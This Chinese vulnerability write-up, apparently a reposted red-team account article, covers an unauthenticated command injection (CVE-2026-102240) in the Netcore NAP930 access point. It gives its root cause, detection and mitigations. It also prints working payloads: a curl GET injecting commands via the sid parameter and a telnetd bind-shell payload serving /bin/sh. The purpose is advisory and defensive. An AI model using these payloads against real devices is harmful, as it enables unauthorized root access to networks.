文章总结： NetcoreNAP930企业AP存在未认证OS命令注入漏洞CVE-2026-102240，CVSS10.0。根因是CGI脚本清洗函数被注释且认证在eval执行之后，攻击者可在局域网内通过单条GET请求以root执行任意命令，PoC已公开。建议限制管理面访问、关闭telnetd并修改默认密码。
综合评分： 88
文章分类： 漏洞分析,应急响应,渗透测试,红队,安全工具
(10分) CVE-2026-102240：Netcore AP未认证命令注入，一条GET拿root
红队安全圈
红队安全圈
红队安全圈
2026年9月29日 20:00
重庆
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
Netcore NAP930 企业 AP：清洗函数写好了被注释，认证放在执行后面——局域网内一条 GET 请求直接拿 root，PoC 已公开且仿真验证。本月第二个 Netcore 零回应漏洞。
01 引言
Netcore NAP930 WiFi 6 企业接入点的 network_tools CGI 存在未认证 OS 命令注入，CVE-2026-102240，CVSS 10.0。局域网内的攻击者无需任何凭据，一条精心构造的 GET 请求就能以 root 身份执行任意命令——PoC 已公开且经过固件仿真动态验证，可拿到完整 root shell 和 /etc/shadow。披露者提前联系厂商，又一次零回应。
02 漏洞速览
漏洞编号CVE-2026-102240
影响产品Netcore NAP930（WiFi 6 AP）V0.1.241010
漏洞类型未认证 OS 命令注入（CWE-77/78）
危害等级CVSS 10.0 Critical
是否在野未观测到在野利用，PoC 已公开
公开 PoC有，含仿真复现与 root shell 记录
攻击前提位于设备所在局域网，无需任何凭据
03 漏洞成因
根因在 /www/cgi-bin/network_tools 这个 POSIX shell CGI，两个缺陷叠加：
一是清洗函数被注释掉了。脚本里定义了 urldecode() 消毒函数，但调用它的那一行被注释——uhttpd 传进来的原始 QUERY_STRING 不做任何 URL 解码，直接按 & 分割成键值对。
二是 eval 循环跑在认证之前。键值对直接喂进 eval “${key}=’${val}'”，而 sid 会话校验写在 eval 之后。也就是说攻击者的输入先执行、身份后检查——检查不通过只会返回 result:[6] 错误码，但命令在那之前已经跑完了。看到错误码 6 不代表攻击失败，这是排查时最容易误判的地方。
利用 payload 因此非常直白：sid 的值以单引号闭合前引号，接分号加任意命令，再用 :” 保持引号配平（不配平会让 busybox ash 整个脚本中止）。空格要用 ${IFS} 而不是 %20——不做 URL 解码，%20 会原样留在命令里。
值得注意：同目录的 telnet、hello、upgrade 三个 CGI 用 printf 解码再 eval 的写法，内层单引号会阻止参数展开，那三个不受影响。同一固件里两种写法一好一坏，说明这是个体编码习惯问题，不是框架问题。
04 利用分析
两步验证，PoC 已公开：
写 id 输出到 web 根目录
curl “http://target/cgi-bin/
network_tools?sid=’;id>/www/pwn.txt;:'”
取回结果
curl “http://target/pwn.txt”
uid=0(root) gid=0(root)
拿到 root 后的稳定 shell 也有现成方案：固件自带 busybox nc 是精简版没有 -e，但设备默认开机自启 telnetd（/etc/rc.d/S90telnet），直接起一个绑定 shell：
sid=’;telnetd${IFS}-p${IFS}2323
${IFS}-l${IFS}/bin/sh;:’
然后 telnet target 2323
影响面随之放大：配置文件里的 Wi-Fi 密钥、DDNS 凭据全部可读，可通过 flash 写入实现持久化后门，把 AP 变成进入所管理网络的跳板。叠加出厂态 root 空密码这个事实，NAP930 在攻击者眼里等于一台摆在局域网里的 root 终端。
05 检测与排查
网络侧：在网关或安全设备上查对 /cgi-bin/network_tools 的 GET 请求，query string 里出现单引号、分号、${IFS} 组合的立即告警——正常流量不会带这些字符。
设备侧：查 /www/ 目录有没有多出来的陌生文件（典型手法是往 web 根写输出文件回传结果），查 telnetd 是否被异常启用，查 crontab 和启动脚本有没有新增项。
重点排查对象：酒店、办公室、门店这类用 NAP930 做无线覆盖的场景——AP 一旦被植入后门，接入它的所有终端流量都在攻击者眼里。
06 修复建议
截至发文厂商零回应，没有补丁。缓解按优先级：
1. AP 管理面不对用户网段开放，uhttpd 的 80/443/23355 端口限制到运维 VLAN
2. 检查并关闭 telnetd 自启（/etc/rc.d/S90telnet）
3. 修改出厂 root 空密码
4. 无法隔离管理面的环境，考虑临时下线或更换设备
07 红队视角
这是九月份第二个 Netcore 未认证命令注入（上一个是 NBR200V2 的 traceroute，同样厂商零回应）。两次披露拼起来看，Netcore 家网络设备的 CGI 层几乎是系统性失守：sanitizer 写了不用、认证放在执行之后、出厂空密码、telnetd 默认开——每一个单独看都是低级错误，叠在一起就是企业内网的常驻 root 入口。
给做内网评估的红队一个直接建议：遇到 Netcore/磊科系设备，优先测 cgi-bin 下所有端点的 eval 注入模式——这个厂商的修复记录基本等于没有。防守侧把它加进资产清单的脆弱设备标记里，这类设备的风险不在于会不会被打，而在于被打了你都不知道。
08 POC 链接
https://github.com/senxitoyshuyi-ui/HACKALL/blob/main/netcore_NAP930 V0.1.241010.141410 Router/NAP930_network_tools_command_injection.md
https://nvd.nist.gov/vuln/detail/CVE-2026-102240
说明：研究者披露文档（含仿真复现记录）与 NVD 收录页。
如果文章对您有收获，欢迎关注、点赞、推荐、转发。
— END —
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：红队安全圈 红队安全圈
红队安全圈《(10分) CVE-2026-102240：Netcore AP未认证命令注入，一条GET拿root》